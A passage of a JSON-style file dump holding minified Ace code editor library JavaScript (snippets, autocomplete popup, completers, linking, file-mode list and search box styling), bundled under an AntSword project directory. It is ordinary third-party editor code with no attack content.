this.editor.selection.setRange(t.firstNonLinked);this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.addTabstops=function(e,t,n){this.$openTabstops||(this.$openTabstops=[]);if(!e[0]){var r=o.fromPoints(n,n);v(r.start,t),v(r.end,t),e[0]=[r],e[0].index=0}var i=this.index,s=[i+1,0],u=this.ranges;e.forEach(function(e,n){var r=this.$openTabstops[n]||e;for(var i=e.length;i--;){var a=e[i],f=o.fromPoints(a.start,a.end||a.start);d(f.start,t),d(f.end,t),f.original=a,f.tabstop=r,u.push(f),r!=e?r.unshift(f):r[i]=f,a.fmtString?(f.linked=!0,r.hasLinkedRanges=!0):r.firstNonLinked||(r.firstNonLinked=f)}r.firstNonLinked||(r.hasLinkedRanges=!1),r===e&&(s.push(r),this.$openTabstops[n]=r),this.addTabstopMarkers(r)},this),s.length>2&&(this.tabstops.length&&s.push(s.splice(2,1)[0]),this.tabstops.splice.apply(this.tabstops,s))},this.addTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){e.markerId||(e.markerId=t.addMarker(e,\"ace_snippet-marker\",\"text\"))})},this.removeTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){t.removeMarker(e.markerId),e.markerId=null})},this.removeRange=function(e){var t=e.tabstop.indexOf(e);e.tabstop.splice(t,1),t=this.ranges.indexOf(e),this.ranges.splice(t,1),this.editor.session.removeMarker(e.markerId),e.tabstop.length||(t=this.tabstops.indexOf(e.tabstop),t!=-1&&this.tabstops.splice(t,1),this.tabstops.length||this.detach())},this.keyboardHandler=new a,this.keyboardHandler.bindKeys({Tab:function(e){if(t.snippetManager&&t.snippetManager.expandWithTab(e))return;e.tabstopManager.tabNext(1)},\"Shift-Tab\":function(e){e.tabstopManager.tabNext(-1)},Esc:function(e){e.tabstopManager.detach()},Return:function(e){return!1}})}).call(h.prototype);var p={};p.onChange=u.prototype.onChange,p.setPosition=function(e,t){this.pos.row=e,this.pos.column=t},p.update=function(e,t,n){this.$insertRight=n,this.pos=e,this.onChange(t)};var d=function(e,t){e.row==0&&(e.column+=t.column),e.row+=t.row},v=function(e,t){e.row==t.row&&(e.column-=t.column),e.row-=t.row};e(\"./lib/dom\").importCssString(\".ace_snippet-marker {    -moz-box-sizing: border-box;    box-sizing: border-box;    background: rgba(194, 193, 208, 0.09);    border: 1px dotted rgba(211, 208, 235, 0.62);    position: absolute;}\"),t.snippetManager=new c;var m=e(\"./editor\").Editor;(function(){this.insertSnippet=function(e,n){return t.snippetManager.insertSnippet(this,e,n)},this.expandSnippet=function(e){return t.snippetManager.expandWithTab(this,e)}}).call(m.prototype)}),ace.define(\"ace/autocomplete/popup\",[\"require\",\"exports\",\"module\",\"ace/virtual_renderer\",\"ace/editor\",\"ace/range\",\"ace/lib/event\",\"ace/lib/lang\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../virtual_renderer\").VirtualRenderer,i=e(\"../editor\").Editor,s=e(\"../range\").Range,o=e(\"../lib/event\"),u=e(\"../lib/lang\"),a=e(\"../lib/dom\"),f=function(e){var t=new r(e);t.$maxLines=4;var n=new i(t);return n.setHighlightActiveLine(!1),n.setShowPrintMargin(!1),n.renderer.setShowGutter(!1),n.renderer.setHighlightGutterLine(!1),n.$mouseHandler.$focusWaitTimout=0,n.$highlightTagPending=!0,n},l=function(e){var t=a.createElement(\"div\"),n=new f(t);e&&e.appendChild(t),t.style.display=\"none\",n.renderer.content.style.cursor=\"default\",n.renderer.setStyle(\"ace_autocomplete\"),n.setOption(\"displayIndentGuides\",!1),n.setOption(\"dragDelay\",150);var r=function(){};n.focus=r,n.$isFocused=!0,n.renderer.$cursorLayer.restartTimer=r,n.renderer.$cursorLayer.element.style.opacity=0,n.renderer.$maxLines=8,n.renderer.$keepTextAreaAtCursor=!1,n.setHighlightActiveLine(!1),n.session.highlight(\"\"),n.session.$searchHighlight.clazz=\"ace_highlight-marker\",n.on(\"mousedown\",function(e){var t=e.getDocumentPosition();n.selection.moveToPosition(t),c.start.row=c.end.row=t.row,e.stop()});var i,l=new s(-1,0,-1,Infinity),c=new s(-1,0,-1,Infinity);c.id=n.session.addMarker(c,\"ace_active-line\",\"fullLine\"),n.setSelectOnHover=function(e){e?l.id&&(n.session.removeMarker(l.id),l.id=null):l.id=n.session.addMarker(l,\"ace_line-hover\",\"fullLine\")},n.setSelectOnHover(!1),n.on(\"mousemove\",function(e){if(!i){i=e;return}if(i.x==e.x&&i.y==e.y)return;i=e,i.scrollTop=n.renderer.scrollTop;var t=i.getDocumentPosition().row;l.start.row!=t&&(l.id||n.setRow(t),p(t))}),n.renderer.on(\"beforeRender\",function(){if(i&&l.start.row!=-1){i.$pos=null;var e=i.getDocumentPosition().row;l.id||n.setRow(e),p(e,!0)}}),n.renderer.on(\"afterRender\",function(){var e=n.getRow(),t=n.renderer.$textLayer,r=t.element.childNodes[e-t.config.firstRow];if(r==t.selectedNode)return;t.selectedNode&&a.removeCssClass(t.selectedNode,\"ace_selected\"),t.selectedNode=r,r&&a.addCssClass(r,\"ace_selected\")});var h=function(){p(-1)},p=function(e,t){e!==l.start.row&&(l.start.row=l.end.row=e,t||n.session._emit(\"changeBackMarker\"),n._emit(\"changeHoverMarker\"))};n.getHoveredRow=function(){return l.start.row},o.addListener(n.container,\"mouseout\",h),n.on(\"hide\",h),n.on(\"changeSelection\",h),n.session.doc.getLength=function(){return n.data.length},n.session.doc.getLine=function(e){var t=n.data[e];return typeof t==\"string\"?t:t&&t.value||\"\"};var d=n.session.bgTokenizer;return d.$tokenizeRow=function(e){var t=n.data[e],r=[];if(!t)return r;typeof t==\"string\"&&(t={value:t}),t.caption||(t.caption=t.value||t.name);var i=-1,s,o;for(var u=0;u<t.caption.length;u++)o=t.caption[u],s=t.matchMask&1<<u?1:0,i!==s?(r.push({type:t.className||\"\"+(s?\"completion-highlight\":\"\"),value:o}),i=s):r[r.length-1].value+=o;if(t.meta){var a=n.renderer.$size.scrollerWidth/n.renderer.layerConfig.characterWidth,f=t.meta;f.length+t.caption.length>a-2&&(f=f.substr(0,a-t.caption.length-3)+\"\\u2026\"),r.push({type:\"rightAlignedText\",value:f})}return r},d.$updateOnChange=r,d.start=r,n.session.$computeWidth=function(){return this.screenWidth=0},n.$blockScrolling=Infinity,n.isOpen=!1,n.isTopdown=!1,n.data=[],n.setData=function(e){n.setValue(u.stringRepeat(\"\\n\",e.length),-1),n.data=e||[],n.setRow(0)},n.getData=function(e){return n.data[e]},n.getRow=function(){return c.start.row},n.setRow=function(e){e=Math.max(-1,Math.min(this.data.length,e)),c.start.row!=e&&(n.selection.clearSelection(),c.start.row=c.end.row=e||0,n.session._emit(\"changeBackMarker\"),n.moveCursorTo(e||0,0),n.isOpen&&n._signal(\"select\"))},n.on(\"changeSelection\",function(){n.isOpen&&n.setRow(n.selection.lead.row),n.renderer.scrollCursorIntoView()}),n.hide=function(){this.container.style.display=\"none\",this._signal(\"hide\"),n.isOpen=!1},n.show=function(e,t,r){var s=this.container,o=window.innerHeight,u=window.innerWidth,a=this.renderer,f=a.$maxLines*t*1.4,l=e.top+this.$borderSize;l+f>o-t&&!r?(s.style.top=\"\",s.style.bottom=o-l+\"px\",n.isTopdown=!1):(l+=t,s.style.top=l+\"px\",s.style.bottom=\"\",n.isTopdown=!0),s.style.display=\"\",this.renderer.$textLayer.checkForSizeChanges();var c=e.left;c+s.offsetWidth>u&&(c=u-s.offsetWidth),s.style.left=c+\"px\",this._signal(\"show\"),i=null,n.isOpen=!0},n.getTextLeftOffset=function(){return this.$borderSize+this.renderer.$padding+this.$imageSize},n.$imageSize=0,n.$borderSize=1,n};a.importCssString(\".ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line {    background-color: #CAD6FA;    z-index: 1;}.ace_editor.ace_autocomplete .ace_line-hover {    border: 1px solid #abbffe;    margin-top: -1px;    background: rgba(233,233,253,0.4);}.ace_editor.ace_autocomplete .ace_line-hover {    position: absolute;    z-index: 2;}.ace_editor.ace_autocomplete .ace_scroller {   background: none;   border: none;   box-shadow: none;}.ace_rightAlignedText {    color: gray;    display: inline-block;    position: absolute;    right: 4px;    text-align: right;    z-index: -1;}.ace_editor.ace_autocomplete .ace_completion-highlight{    color: #000;    text-shadow: 0 0 0.01em;}.ace_editor.ace_autocomplete {    width: 280px;    z-index: 200000;    background: #fbfbfb;    color: #444;    border: 1px lightgray solid;    position: fixed;    box-shadow: 2px 3px 5px rgba(0,0,0,.2);    line-height: 1.4;}\"),t.AcePopup=l}),ace.define(\"ace/autocomplete/util\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.parForEach=function(e,t,n){var r=0,i=e.length;i===0&&n();for(var s=0;s<i;s++)t(e[s],function(e,t){r++,r===i&&n(e,t)})};var r=/[a-zA-Z_0-9\\$\\-\\u00A2-\\uFFFF]/;t.retrievePrecedingIdentifier=function(e,t,n){n=n||r;var i=[];for(var s=t-1;s>=0;s--){if(!n.test(e[s]))break;i.push(e[s])}return i.reverse().join(\"\")},t.retrieveFollowingIdentifier=function(e,t,n){n=n||r;var i=[];for(var s=t;s<e.length;s++){if(!n.test(e[s]))break;i.push(e[s])}return i}}),ace.define(\"ace/autocomplete\",[\"require\",\"exports\",\"module\",\"ace/keyboard/hash_handler\",\"ace/autocomplete/popup\",\"ace/autocomplete/util\",\"ace/lib/event\",\"ace/lib/lang\",\"ace/lib/dom\",\"ace/snippets\"],function(e,t,n){\"use strict\";var r=e(\"./keyboard/hash_handler\").HashHandler,i=e(\"./autocomplete/popup\").AcePopup,s=e(\"./autocomplete/util\"),o=e(\"./lib/event\"),u=e(\"./lib/lang\"),a=e(\"./lib/dom\"),f=e(\"./snippets\").snippetManager,l=function(){this.autoInsert=!1,this.autoSelect=!0,this.exactMatch=!1,this.gatherCompletionsId=0,this.keyboardHandler=new r,this.keyboardHandler.bindKeys(this.commands),this.blurListener=this.blurListener.bind(this),this.changeListener=this.changeListener.bind(this),this.mousedownListener=this.mousedownListener.bind(this),this.mousewheelListener=this.mousewheelListener.bind(this),this.changeTimer=u.delayedCall(function(){this.updateCompletions(!0)}.bind(this)),this.tooltipTimer=u.delayedCall(this.updateDocTooltip.bind(this),50)};(function(){this.$init=function(){return this.popup=new i(document.body||document.documentElement),this.popup.on(\"click\",function(e){this.insertMatch(),e.stop()}.bind(this)),this.popup.focus=this.editor.focus.bind(this.editor),this.popup.on(\"show\",this.tooltipTimer.bind(null,null)),this.popup.on(\"select\",this.tooltipTimer.bind(null,null)),this.popup.on(\"changeHoverMarker\",this.tooltipTimer.bind(null,null)),this.popup},this.getPopup=function(){return this.popup||this.$init()},this.openPopup=function(e,t,n){this.popup||this.$init(),this.popup.setData(this.completions.filtered),e.keyBinding.addKeyboardHandler(this.keyboardHandler);var r=e.renderer;this.popup.setRow(this.autoSelect?0:-1);if(!n){this.popup.setTheme(e.getTheme()),this.popup.setFontSize(e.getFontSize());var i=r.layerConfig.lineHeight,s=r.$cursorLayer.getPixelPosition(this.base,!0);s.left-=this.popup.getTextLeftOffset();var o=e.container.getBoundingClientRect();s.top+=o.top-r.layerConfig.offset,s.left+=o.left-e.renderer.scrollLeft,s.left+=r.gutterWidth,this.popup.show(s,i)}else n&&!t&&this.detach()},this.detach=function(){this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.off(\"changeSelection\",this.changeListener),this.editor.off(\"blur\",this.blurListener),this.editor.off(\"mousedown\",this.mousedownListener),this.editor.off(\"mousewheel\",this.mousewheelListener),this.changeTimer.cancel(),this.hideDocTooltip(),this.gatherCompletionsId+=1,this.popup&&this.popup.isOpen&&this.popup.hide(),this.base&&this.base.detach(),this.activated=!1,this.completions=this.base=null},this.changeListener=function(e){var t=this.editor.selection.lead;(t.row!=this.base.row||t.column<this.base.column)&&this.detach(),this.activated?this.changeTimer.schedule():this.detach()},this.blurListener=function(e){var t=document.activeElement,n=this.editor.textInput.getElement(),r=e.relatedTarget&&e.relatedTarget==this.tooltipNode,i=this.popup&&this.popup.container;t!=n&&t.parentNode!=i&&!r&&t!=this.tooltipNode&&e.relatedTarget!=n&&this.detach()},this.mousedownListener=function(e){this.detach()},this.mousewheelListener=function(e){this.detach()},this.goTo=function(e){var t=this.popup.getRow(),n=this.popup.session.getLength()-1;switch(e){case\"up\":t=t<=0?n:t-1;break;case\"down\":t=t>=n?-1:t+1;break;case\"start\":t=0;break;case\"end\":t=n}this.popup.setRow(t)},this.insertMatch=function(e,t){e||(e=this.popup.getData(this.popup.getRow()));if(!e)return!1;if(e.completer&&e.completer.insertMatch)e.completer.insertMatch(this.editor,e);else{if(this.completions.filterText){var n=this.editor.selection.getAllRanges();for(var r=0,i;i=n[r];r++)i.start.column-=this.completions.filterText.length,this.editor.session.remove(i)}e.snippet?f.insertSnippet(this.editor,e.snippet):this.editor.execCommand(\"insertstring\",e.value||e)}this.detach()},this.commands={Up:function(e){e.completer.goTo(\"up\")},Down:function(e){e.completer.goTo(\"down\")},\"Ctrl-Up|Ctrl-Home\":function(e){e.completer.goTo(\"start\")},\"Ctrl-Down|Ctrl-End\":function(e){e.completer.goTo(\"end\")},Esc:function(e){e.completer.detach()},Return:function(e){return e.completer.insertMatch()},\"Shift-Return\":function(e){e.completer.insertMatch(null,{deleteSuffix:!0})},Tab:function(e){var t=e.completer.insertMatch();if(!!t||!!e.tabstopManager)return t;e.completer.goTo(\"down\")},PageUp:function(e){e.completer.popup.gotoPageUp()},PageDown:function(e){e.completer.popup.gotoPageDown()}},this.gatherCompletions=function(e,t){var n=e.getSession(),r=e.getCursorPosition(),i=n.getLine(r.row),o=s.retrievePrecedingIdentifier(i,r.column);this.base=n.doc.createAnchor(r.row,r.column-o.length),this.base.$insertRight=!0;var u=[],a=e.completers.length;return e.completers.forEach(function(i,f){i.getCompletions(e,n,r,o,function(r,i){r||(u=u.concat(i));var o=e.getCursorPosition(),f=n.getLine(o.row);t(null,{prefix:s.retrievePrecedingIdentifier(f,o.column,i[0]&&i[0].identifierRegex),matches:u,finished:--a===0})})}),!0},this.showPopup=function(e){this.editor&&this.detach(),this.activated=!0,this.editor=e,e.completer!=this&&(e.completer&&e.completer.detach(),e.completer=this),e.on(\"changeSelection\",this.changeListener),e.on(\"blur\",this.blurListener),e.on(\"mousedown\",this.mousedownListener),e.on(\"mousewheel\",this.mousewheelListener),this.updateCompletions()},this.updateCompletions=function(e){if(e&&this.base&&this.completions){var t=this.editor.getCursorPosition(),n=this.editor.session.getTextRange({start:this.base,end:t});if(n==this.completions.filterText)return;this.completions.setFilter(n);if(!this.completions.filtered.length)return this.detach();if(this.completions.filtered.length==1&&this.completions.filtered[0].value==n&&!this.completions.filtered[0].snippet)return this.detach();this.openPopup(this.editor,n,e);return}var r=this.gatherCompletionsId;this.gatherCompletions(this.editor,function(t,n){var i=function(){if(!n.finished)return;return this.detach()}.bind(this),s=n.prefix,o=n&&n.matches;if(!o||!o.length)return i();if(s.indexOf(n.prefix)!==0||r!=this.gatherCompletionsId)return;this.completions=new c(o),this.exactMatch&&(this.completions.exactMatch=!0),this.completions.setFilter(s);var u=this.completions.filtered;if(!u.length)return i();if(u.length==1&&u[0].value==s&&!u[0].snippet)return i();if(this.autoInsert&&u.length==1&&n.finished)return this.insertMatch(u[0]);this.openPopup(this.editor,s,e)}.bind(this))},this.cancelContextMenu=function(){this.editor.$mouseHandler.cancelContextMenu()},this.updateDocTooltip=function(){var e=this.popup,t=e.data,n=t&&(t[e.getHoveredRow()]||t[e.getRow()]),r=null;if(!n||!this.editor||!this.popup.isOpen)return this.hideDocTooltip();this.editor.completers.some(function(e){return e.getDocTooltip&&(r=e.getDocTooltip(n)),r}),r||(r=n),typeof r==\"string\"&&(r={docText:r});if(!r||!r.docHTML&&!r.docText)return this.hideDocTooltip();this.showDocTooltip(r)},this.showDocTooltip=function(e){this.tooltipNode||(this.tooltipNode=a.createElement(\"div\"),this.tooltipNode.className=\"ace_tooltip ace_doc-tooltip\",this.tooltipNode.style.margin=0,this.tooltipNode.style.pointerEvents=\"auto\",this.tooltipNode.tabIndex=-1,this.tooltipNode.onblur=this.blurListener.bind(this));var t=this.tooltipNode;e.docHTML?t.innerHTML=e.docHTML:e.docText&&(t.textContent=e.docText),t.parentNode||document.body.appendChild(t);var n=this.popup,r=n.container.getBoundingClientRect();t.style.top=n.container.style.top,t.style.bottom=n.container.style.bottom,window.innerWidth-r.right<320?(t.style.right=window.innerWidth-r.left+\"px\",t.style.left=\"\"):(t.style.left=r.right+1+\"px\",t.style.right=\"\"),t.style.display=\"block\"},this.hideDocTooltip=function(){this.tooltipTimer.cancel();if(!this.tooltipNode)return;var e=this.tooltipNode;!this.editor.isFocused()&&document.activeElement==e&&this.editor.focus(),this.tooltipNode=null,e.parentNode&&e.parentNode.removeChild(e)}}).call(l.prototype),l.startCommand={name:\"startAutocomplete\",exec:function(e){e.completer||(e.completer=new l),e.completer.autoInsert=!1,e.completer.autoSelect=!0,e.completer.showPopup(e),e.completer.cancelContextMenu()},bindKey:\"Ctrl-Space|Ctrl-Shift-Space|Alt-Space\"};var c=function(e,t){this.all=e,this.filtered=e,this.filterText=t||\"\",this.exactMatch=!1};(function(){this.setFilter=function(e){if(e.length>this.filterText&&e.lastIndexOf(this.filterText,0)===0)var t=this.filtered;else var t=this.all;this.filterText=e,t=this.filterCompletions(t,this.filterText),t=t.sort(function(e,t){return t.exactMatch-e.exactMatch||t.score-e.score});var n=null;t=t.filter(function(e){var t=e.snippet||e.caption||e.value;return t===n?!1:(n=t,!0)}),this.filtered=t},this.filterCompletions=function(e,t){var n=[],r=t.toUpperCase(),i=t.toLowerCase();e:for(var s=0,o;o=e[s];s++){var u=o.value||o.caption||o.snippet;if(!u)continue;var a=-1,f=0,l=0,c,h;if(this.exactMatch){if(t!==u.substr(0,t.length))continue e}else for(var p=0;p<t.length;p++){var d=u.indexOf(i[p],a+1),v=u.indexOf(r[p],a+1);c=d>=0?v<0||d<v?d:v:v;if(c<0)continue e;h=c-a-1,h>0&&(a===-1&&(l+=10),l+=h),f|=1<<c,a=c}o.matchMask=f,o.exactMatch=l?0:1,o.score=(o.score||0)-l,n.push(o)}return n}}).call(c.prototype),t.Autocomplete=l,t.FilteredList=c}),ace.define(\"ace/autocomplete/text_completer\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){function s(e,t){var n=e.getTextRange(r.fromPoints({row:0,column:0},t));return n.split(i).length-1}function o(e,t){var n=s(e,t),r=e.getValue().split(i),o=Object.create(null),u=r[n];return r.forEach(function(e,t){if(!e||e===u)return;var i=Math.abs(n-t),s=r.length-i;o[e]?o[e]=Math.max(s,o[e]):o[e]=s}),o}var r=e(\"../range\").Range,i=/[^a-zA-Z_0-9\\$\\-\\u00C0-\\u1FFF\\u2C00-\\uD7FF\\w]+/;t.getCompletions=function(e,t,n,r,i){var s=o(t,n,r),u=Object.keys(s);i(null,u.map(function(e){return{caption:e,value:e,score:s[e],meta:\"local\"}}))}}),ace.define(\"ace/ext/language_tools\",[\"require\",\"exports\",\"module\",\"ace/snippets\",\"ace/autocomplete\",\"ace/config\",\"ace/lib/lang\",\"ace/autocomplete/util\",\"ace/autocomplete/text_completer\",\"ace/editor\",\"ace/config\"],function(e,t,n){\"use strict\";function m(e){var t=e.getCursorPosition(),n=e.session.getLine(t.row),r;return e.completers.forEach(function(e){e.identifierRegexps&&e.identifierRegexps.forEach(function(e){!r&&e&&(r=u.retrievePrecedingIdentifier(n,t.column,e))})}),r||u.retrievePrecedingIdentifier(n,t.column)}var r=e(\"../snippets\").snippetManager,i=e(\"../autocomplete\").Autocomplete,s=e(\"../config\"),o=e(\"../lib/lang\"),u=e(\"../autocomplete/util\"),a=e(\"../autocomplete/text_completer\"),f={getCompletions:function(e,t,n,r,i){if(t.$mode.completer)return t.$mode.completer.getCompletions(e,t,n,r,i);var s=e.session.getState(n.row),o=t.$mode.getCompletions(s,t,n,r);i(null,o)}},l={getCompletions:function(e,t,n,i,s){var o=r.snippetMap,u=[];r.getActiveScopes(e).forEach(function(e){var t=o[e]||[];for(var n=t.length;n--;){var r=t[n],i=r.name||r.tabTrigger;if(!i)continue;u.push({caption:i,snippet:r.content,meta:r.tabTrigger&&!r.name?r.tabTrigger+\"\\u21e5 \":\"snippet\",type:\"snippet\"})}},this),s(null,u)},getDocTooltip:function(e){e.type==\"snippet\"&&!e.docHTML&&(e.docHTML=[\"<b>\",o.escapeHTML(e.caption),\"</b>\",\"<hr></hr>\",o.escapeHTML(e.snippet)].join(\"\"))}},c=[l,a,f];t.setCompleters=function(e){c=e||[]},t.addCompleter=function(e){c.push(e)},t.textCompleter=a,t.keyWordCompleter=f,t.snippetCompleter=l;var h={name:\"expandSnippet\",exec:function(e){return r.expandWithTab(e)},bindKey:\"Tab\"},p=function(e,t){d(t.session.$mode)},d=function(e){var t=e.$id;r.files||(r.files={}),v(t),e.modes&&e.modes.forEach(d)},v=function(e){if(!e||r.files[e])return;var t=e.replace(\"mode\",\"snippets\");r.files[e]={},s.loadModule(t,function(t){t&&(r.files[e]=t,!t.snippets&&t.snippetText&&(t.snippets=r.parseSnippetFile(t.snippetText)),r.register(t.snippets||[],t.scope),t.includeScopes&&(r.snippetMap[t.scope].includeScopes=t.includeScopes,t.includeScopes.forEach(function(e){v(\"ace/mode/\"+e)})))})},g=function(e){var t=e.editor,n=t.completer&&t.completer.activated;if(e.command.name===\"backspace\")n&&!m(t)&&t.completer.detach();else if(e.command.name===\"insertstring\"){var r=m(t);r&&!n&&(t.completer||(t.completer=new i),t.completer.autoInsert=!1,t.completer.showPopup(t))}},y=e(\"../editor\").Editor;e(\"../config\").defineOptions(y.prototype,\"editor\",{enableBasicAutocompletion:{set:function(e){e?(this.completers||(this.completers=Array.isArray(e)?e:c),this.commands.addCommand(i.startCommand)):this.commands.removeCommand(i.startCommand)},value:!1},enableLiveAutocompletion:{set:function(e){e?(this.completers||(this.completers=Array.isArray(e)?e:c),this.commands.on(\"afterExec\",g)):this.commands.removeListener(\"afterExec\",g)},value:!1},enableSnippets:{set:function(e){e?(this.commands.addCommand(h),this.on(\"changeMode\",p),p(null,this)):(this.commands.removeCommand(h),this.off(\"changeMode\",p))},value:!1}})});\n                (function() {\n                    ace.require([\"ace/ext/language_tools\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-linking.js",
    "content": "ace.define(\"ace/ext/linking\",[\"require\",\"exports\",\"module\",\"ace/editor\",\"ace/config\"],function(e,t,n){function i(e){var t=e.editor,n=e.getAccelKey();if(n){var t=e.editor,r=e.getDocumentPosition(),i=t.session,s=i.getTokenAt(r.row,r.column);t._emit(\"linkHover\",{position:r,token:s})}}function s(e){var t=e.getAccelKey(),n=e.getButton();if(n==0&&t){var r=e.editor,i=e.getDocumentPosition(),s=r.session,o=s.getTokenAt(i.row,i.column);r._emit(\"linkClick\",{position:i,token:o})}}var r=e(\"ace/editor\").Editor;e(\"../config\").defineOptions(r.prototype,\"editor\",{enableLinking:{set:function(e){e?(this.on(\"click\",s),this.on(\"mousemove\",i)):(this.off(\"click\",s),this.off(\"mousemove\",i))},value:!1}})});\n                (function() {\n                    ace.require([\"ace/ext/linking\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-modelist.js",
    "content": "ace.define(\"ace/ext/modelist\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function i(e){var t=a.text,n=e.split(/[\\/\\\\]/).pop();for(var i=0;i<r.length;i++)if(r[i].supportsFile(n)){t=r[i];break}return t}var r=[],s=function(e,t,n){this.name=e,this.caption=t,this.mode=\"ace/mode/\"+e,this.extensions=n;if(/\\^/.test(n))var r=n.replace(/\\|(\\^)?/g,function(e,t){return\"$|\"+(t?\"^\":\"^.*\\\\.\")})+\"$\";else var r=\"^.*\\\\.(\"+n+\")$\";this.extRe=new RegExp(r,\"gi\")};s.prototype.supportsFile=function(e){return e.match(this.extRe)};var o={ABAP:[\"abap\"],ABC:[\"abc\"],ActionScript:[\"as\"],ADA:[\"ada|adb\"],Apache_Conf:[\"^htaccess|^htgroups|^htpasswd|^conf|htaccess|htgroups|htpasswd\"],AsciiDoc:[\"asciidoc|adoc\"],Assembly_x86:[\"asm\"],AutoHotKey:[\"ahk\"],BatchFile:[\"bat|cmd\"],C_Cpp:[\"cpp|c|cc|cxx|h|hh|hpp\"],C9Search:[\"c9search_results\"],Cirru:[\"cirru|cr\"],Clojure:[\"clj|cljs\"],Cobol:[\"CBL|COB\"],coffee:[\"coffee|cf|cson|^Cakefile\"],ColdFusion:[\"cfm\"],CSharp:[\"cs\"],CSS:[\"css\"],Curly:[\"curly\"],D:[\"d|di\"],Dart:[\"dart\"],Diff:[\"diff|patch\"],Dockerfile:[\"^Dockerfile\"],Dot:[\"dot\"],Dummy:[\"dummy\"],DummySyntax:[\"dummy\"],Eiffel:[\"e\"],EJS:[\"ejs\"],Elixir:[\"ex|exs\"],Elm:[\"elm\"],Erlang:[\"erl|hrl\"],Forth:[\"frt|fs|ldr\"],FTL:[\"ftl\"],Gcode:[\"gcode\"],Gherkin:[\"feature\"],Gitignore:[\"^.gitignore\"],Glsl:[\"glsl|frag|vert\"],golang:[\"go\"],Groovy:[\"groovy\"],HAML:[\"haml\"],Handlebars:[\"hbs|handlebars|tpl|mustache\"],Haskell:[\"hs\"],haXe:[\"hx\"],HTML:[\"html|htm|xhtml\"],HTML_Ruby:[\"erb|rhtml|html.erb\"],INI:[\"ini|conf|cfg|prefs\"],Io:[\"io\"],Jack:[\"jack\"],Jade:[\"jade\"],Java:[\"java\"],JavaScript:[\"js|jsm\"],JSON:[\"json\"],JSONiq:[\"jq\"],JSP:[\"jsp\"],JSX:[\"jsx\"],Julia:[\"jl\"],LaTeX:[\"tex|latex|ltx|bib\"],Lean:[\"lean|hlean\"],LESS:[\"less\"],Liquid:[\"liquid\"],Lisp:[\"lisp\"],LiveScript:[\"ls\"],LogiQL:[\"logic|lql\"],LSL:[\"lsl\"],Lua:[\"lua\"],LuaPage:[\"lp\"],Lucene:[\"lucene\"],Makefile:[\"^Makefile|^GNUmakefile|^makefile|^OCamlMakefile|make\"],Markdown:[\"md|markdown\"],Mask:[\"mask\"],MATLAB:[\"matlab\"],Maze:[\"mz\"],MEL:[\"mel\"],MUSHCode:[\"mc|mush\"],MySQL:[\"mysql\"],Nix:[\"nix\"],ObjectiveC:[\"m|mm\"],OCaml:[\"ml|mli\"],Pascal:[\"pas|p\"],Perl:[\"pl|pm\"],pgSQL:[\"pgsql\"],PHP:[\"php|phtml|shtml|php3|php4|php5|phps|phpt|aw|ctp\"],Powershell:[\"ps1\"],Praat:[\"praat|praatscript|psc|proc\"],Prolog:[\"plg|prolog\"],Properties:[\"properties\"],Protobuf:[\"proto\"],Python:[\"py\"],R:[\"r\"],RDoc:[\"Rd\"],RHTML:[\"Rhtml\"],Ruby:[\"rb|ru|gemspec|rake|^Guardfile|^Rakefile|^Gemfile\"],Rust:[\"rs\"],SASS:[\"sass\"],SCAD:[\"scad\"],Scala:[\"scala\"],Scheme:[\"scm|rkt\"],SCSS:[\"scss\"],SH:[\"sh|bash|^.bashrc\"],SJS:[\"sjs\"],Smarty:[\"smarty|tpl\"],snippets:[\"snippets\"],Soy_Template:[\"soy\"],Space:[\"space\"],SQL:[\"sql\"],SQLServer:[\"sqlserver\"],Stylus:[\"styl|stylus\"],SVG:[\"svg\"],Tcl:[\"tcl\"],Tex:[\"tex\"],Text:[\"txt\"],Textile:[\"textile\"],Toml:[\"toml\"],Twig:[\"twig\"],Typescript:[\"ts|typescript|str\"],Vala:[\"vala\"],VBScript:[\"vbs|vb\"],Velocity:[\"vm\"],Verilog:[\"v|vh|sv|svh\"],VHDL:[\"vhd|vhdl\"],XML:[\"xml|rdf|rss|wsdl|xslt|atom|mathml|mml|xul|xbl|xaml\"],XQuery:[\"xq\"],YAML:[\"yaml|yml\"],Django:[\"html\"]},u={ObjectiveC:\"Objective-C\",CSharp:\"C#\",golang:\"Go\",C_Cpp:\"C and C++\",coffee:\"CoffeeScript\",HTML_Ruby:\"HTML (Ruby)\",FTL:\"FreeMarker\"},a={};for(var f in o){var l=o[f],c=(u[f]||f).replace(/_/g,\" \"),h=f.toLowerCase(),p=new s(h,c,l[0]);a[h]=p,r.push(p)}n.exports={getModeForPath:i,modes:r,modesByName:a}});\n                (function() {\n                    ace.require([\"ace/ext/modelist\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-old_ie.js",
    "content": "ace.define(\"ace/ext/searchbox\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/event\",\"ace/keyboard/hash_handler\",\"ace/lib/keys\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\"),i=e(\"../lib/lang\"),s=e(\"../lib/event\"),o=\".ace_search {background-color: #ddd;border: 1px solid #cbcbcb;border-top: 0 none;max-width: 325px;overflow: hidden;margin: 0;padding: 4px;padding-right: 6px;padding-bottom: 0;position: absolute;top: 0px;z-index: 99;white-space: normal;}.ace_search.left {border-left: 0 none;border-radius: 0px 0px 5px 0px;left: 0;}.ace_search.right {border-radius: 0px 0px 0px 5px;border-right: 0 none;right: 0;}.ace_search_form, .ace_replace_form {border-radius: 3px;border: 1px solid #cbcbcb;float: left;margin-bottom: 4px;overflow: hidden;}.ace_search_form.ace_nomatch {outline: 1px solid red;}.ace_search_field {background-color: white;border-right: 1px solid #cbcbcb;border: 0 none;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;float: left;height: 22px;outline: 0;padding: 0 7px;width: 214px;margin: 0;}.ace_searchbtn,.ace_replacebtn {background: #fff;border: 0 none;border-left: 1px solid 